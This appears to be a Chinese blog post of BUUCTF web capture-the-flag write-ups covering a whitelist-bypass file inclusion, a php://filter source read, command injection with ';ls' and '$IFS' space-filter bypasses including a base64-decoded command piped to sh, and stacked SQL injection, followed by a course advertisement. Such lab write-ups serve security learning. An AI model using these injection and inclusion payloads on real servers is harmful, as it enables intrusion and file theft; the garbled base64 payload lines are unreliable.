【CTF练习】BUUCTF WEB

            mb_strpos($page . '?', '?')
            //mb_strops:查找字符串在另一个字符串中首次出现的位置,并且如果 $page 本身不包含 ? 字符,那么 $page . '?' 会确保字符串的末尾有一个 ? 字符,因此 mb_strpos 总是能返回一个位置(即使它是字符串的末尾)。如果 $page 已经包含 ? 字符,那么 mb_strpos 会返回该字符首次出现的位置。
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }

        $_page = urldecode($page);  //将$page进行url编码
        $_page = mb_substr(
            $_page,
            0,
            mb_strpos($_page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }
        echo "you can't see it";
        return false;
    }
}

   
//不进入else分支,可以调用include函数读取传入文件。这里要满足if中的条件为真
if (! empty($_REQUEST['file'])
    && is_string($_REQUEST['file'])
    && emmm::checkFile($_REQUEST['file'])
) {
    include $_REQUEST['file'];
    exit;
} else {
    echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}  

?>


        **值得注意的是,无论是直接访问source.php还是利用?file=source.php查看,返回结果都是**


**同一段代码,且直接访问source.php下面还会显示那张图片,也就是说当前网页其实就是在**


**source.php页面,即我们始终是在在soure.php页面进行传参!!!**


#### 【代码审计】:


        **根据代码提示,存在一个hint.php页面,访问这个页面,可以得到flag的提示:**


![](https://img-blog.csdnimg.cn/direct/9f5142dfb0d045179f99e510cd5cb098.png)


        即flag在文件ffffllllaaaagggg当中,但是我们目前并不知道该文件在那个目录下(白名单中也没有这个文件



Payload:
http://57222b26-44ad-489f-874a-51b708f283c2.node5.buuoj.cn:81/source.php?file=hint.php?/…/…/…/…/ffffllllaaaagggg


**这里有一篇博客解释了一下构造payload的原理:**


**当前的source.php一般是在html目录下,往上是www,var,然后到根目录,flag一般就放**


**在根目录下面,这里还有一个hint.php?/或者source.php?/,因此需要返回四层才能到根目录。**  
[[HCTF 2018]WarmUp全网最详细解释\_[hctf 2018]warmup的解-CSDN博客](https://bbs.csdn.net/topics/618653875)


### 




---


## [ACTF2020 新生赛]Include


#### 本题考查:filter伪协议进行文件包含


**关于文件包含伪协议可以参考下面这篇博客:**  
[File Inclusion(文件包含漏洞)学习 / 伪协议\_file协议漏洞-CSDN博客](https://bbs.csdn.net/topics/618653875)


#### 【查看页面源代码】:


        **并没有什么可利用的**


#### 【查看url】:


        **点击tips跳转,url多了?file=flag.php,但该页面只输出了:**


![](https://img-blog.csdnimg.cn/direct/831c91bcaac14e7088fb8b7babd25740.png)


        **目前的办法就是查看flag.php文件的源代码,看flag是否在源代码中被注释掉了,此处利用伪**


**协议:**



payload:
http://5165ec02-c72d-4737-85c5-295e639ea759.node3.buuoj.cn/?file=php://filter/read=convert.base64-encode/resource=flag.php


#### 【base64解码】:


![](https://img-blog.csdnimg.cn/direct/86ade1b980b84d2b8bdef6b2a8fd31cb.png)


### 




---


## [ACTF2020 新生赛]Exec


#### 本题考查:命令执行


#### 【尝试执行ls命令】:


**输入:127.0.0.1;ls**


![](https://img-blog.csdnimg.cn/direct/6182695a4f3f43c688b0053ff7dd1161.png)


#### 【设法找到与flag相关的文件】:


![](https://img-blog.csdnimg.cn/direct/ea74df3d00834933a155f374e53b9809.png)


![](https://img-blog.csdnimg.cn/direct/6da2dcf500654929afcf587aaa3dd9c1.png)


![](https://img-blog.csdnimg.cn/direct/d7c2881491334baa8ccf55a2b7ba659b.png)


**查看flag文件的内容:**


![](https://img-blog.csdnimg.cn/direct/280a28ff1a3e4b3c81ca7bba18a91342.png)


**!!!注意,上述截图中,输入框中的内容和回显内容不是同步的(即输入框的内容是与结果对应的语句,但结果出来后,输入框中本应该是没有内容的,主要是为了方便看加上去的)**





---


## [GXYCTF2019]Ping Ping Ping


#### 本题考查:命令执行


#### 【尝试一下用分号拼接ip和ls】:


**?ip=127.0.0.1;ls**


![](https://img-blog.csdnimg.cn/direct/fe129c1927af44da860176c60fd5378b.png)


#### 【尝试查看flag.php文件】:


**?ip=127.0.0.1;cat flag.php    结果发现空格被过滤**


![](https://img-blog.csdnimg.cn/direct/a9bb9d3bb64d499c8d8f2fff0a39a581.png)


#### 【用{IFS}绕过空格被过滤】:


**用{IFS}绕过空格,发现标点符号也被过滤了:**


![](https://img-blog.csdnimg.cn/direct/6f7082593b34465a9cae704fe1b74325.png)


#### 【用不含有标点符号的方法绕过空格】:


**用$IFS$1绕过空格,提示flag也有被过滤掉,尝试打开index.php**


![](https://img-blog.csdnimg.cn/direct/4c0d07783cff457881b832900482080c.png)


#### 【分析index.php的源代码】:


**发现好多东西都被过滤了:**


**& / ? \* < x{00}-\x{1f} ' " \ () [] {} 空格 "xxxfxxxlxxxaxxxgxxx" " " "bash"等**


![](https://img-blog.csdnimg.cn/direct/e57490de45d34addaa8c2d19e494f88f.png)


#### 【根据源代码,分析出一下绕过方法】:


* **方法一:将cat flag.php直接用base64编码绕过**



?ip=127.0.0.1;echo$IFS 1 Y 2 F 0 I G Z s Y W c u c G h w ∣ b a s e 64 1Y2F0IGZsYWcucGhw|base64 1Y2F0IGZsYWcucGhwbase64IFS 1 − d ∣ b a s h / / 但是 b a s h 被过滤了 ? i p = 127.0.0.1 ; e c h o 1-d|bash //但是bash被过滤了 ?ip=127.0.0.1;echo 1dbash//但是bash被过滤了?ip=127.0.0.1;echoIFS 1 Y 2 F 0 I G Z s Y W c u c G h w ∣ b a s e 64 1Y2F0IGZsYWcucGhw|base64 1Y2F0IGZsYWcucGhwbase64IFS$1-d|sh
//|sh 就是执行前面的echo脚本


* **方法二:空格用$IFS$1绕过,flag利用内联执行绕过:**



//内联:将反引号内命令的输出作为输入执行
?ip=127.0.0.1;cat$IFS$9ls


* **方法三:简单变量替换(利用源码):**



//单个变量
?ip=127.0.0.1;a=g;cat$IFS 1 f l a 1fla 1flaa.php
//多个变量
?ip=127.0.0.1;b=ag;a=fl;cat$IFS 1 1 1a$b.php


**具体参考如下:**  
[【BUUCTF】[GXYCTF2019] Ping Ping Ping 总结笔记 Writeup-CSDN博客](https://bbs.csdn.net/topics/618653875)


### 




---


## [SUCTF 2019]EasySQL


#### 本题考查:sql注入


**这道题不是很明白,附上两篇博客:**  
[BUUCTF:[SUCTF 2019]EasySQL-CSDN博客](https://bbs.csdn.net/topics/618653875)  
[[SUCTF 2019]EasySQL 1 Writeup(超级详细)\_really easy sql-CSDN博客](https://bbs.csdn.net/topics/618653875)_really easy sql-CSDN博客")


### 




---


## [强网杯 2019]随便注


#### 本题考查:sql注入


#### 【判断闭合方式】:


**只有输入1’会报错,那么闭合方式为单引号:**


![](https://img-blog.csdnimg.cn/direct/cc635199d674444089f44e9bf508e4ea.png)


#### 【查看是否有过滤关键字】 :


**直接输入select,发现以下关键字被过滤:**



被过滤的关键字:
select、update、delete、drop、insert、where
//select被过滤,联合查询,报错注入,布尔盲注,时间盲注就都不可以使用了。
//只剩下了堆叠注入(将语句堆叠在一起进行查询)


![](https://img-blog.csdnimg.cn/direct/996341c381ee47828e5946605ca9aa87.png)
## 最后

**自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。**

**深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!**

**因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。**

![img](https://img-blog.csdnimg.cn/img_convert/7ce46b4ba67c6e25257141d74760825e.png)

![img](https://img-blog.csdnimg.cn/img_convert/a09ff7917bcd1a86cec37c1843c5e8b5.png)

![img](https://img-blog.csdnimg.cn/img_convert/6e89e5c0c3415915b44df2dd4a5824ea.png)

![img](https://img-blog.csdnimg.cn/img_convert/97a5071429eb0f82e2a71c5c868d8bcf.png)

![img](https://img-blog.csdnimg.cn/img_convert/8314899514050cd399a296a38a957d74.png)

 

**既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点!真正的体系化!**

[**如果你觉得这些内容对你有帮助,需要这份全套学习资料的朋友可以戳我获取!!**](https://bbs.csdn.net/topics/618653875)

**由于文件比较大,这里只是将部分目录截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且会持续更新!**

56PogiB-1715564706725)]

[外链图片转存中...(img-dB7wxWAA-1715564706725)]

[外链图片转存中...(img-Poj3R2ES-1715564706725)]

 

**既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点!真正的体系化!**

[**如果你觉得这些内容对你有帮助,需要这份全套学习资料的朋友可以戳我获取!!**](https://bbs.csdn.net/topics/618653875)

**由于文件比较大,这里只是将部分目录截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且会持续更新!**

  • 14
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
回答:根据引用和引用的内容,buuctf web应该是指buuctf比赛中的一个web题目。其中可能涉及到Tornado作为非阻塞式服务器的使用,以及render函数的使用。而根据引用的内容,buuctf web题目可能存在一些漏洞,比如SSRF(Server Side Request Forgery)漏洞,可以通过对内网web应用实施攻击获取webshell。因此,在buuctf web题目中,可能需要掌握SSRF漏洞的利用和对web应用的渲染函数(render函数)进行利用。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* [【CTFbuuctf web 详解(持续更新)](https://blog.csdn.net/m0_52923241/article/details/119641325)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT0_1"}}] [.reference_item style="max-width: 33.333333333333336%"] - *2* [【BUUCTF刷题】Web解题方法总结(一)](https://blog.csdn.net/qq_45834505/article/details/114276572)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT0_1"}}] [.reference_item style="max-width: 33.333333333333336%"] - *3* [BUUCTFWeb真题学习整理(一)](https://blog.csdn.net/qq_41429081/article/details/98042205)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT0_1"}}] [.reference_item style="max-width: 33.333333333333336%"] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值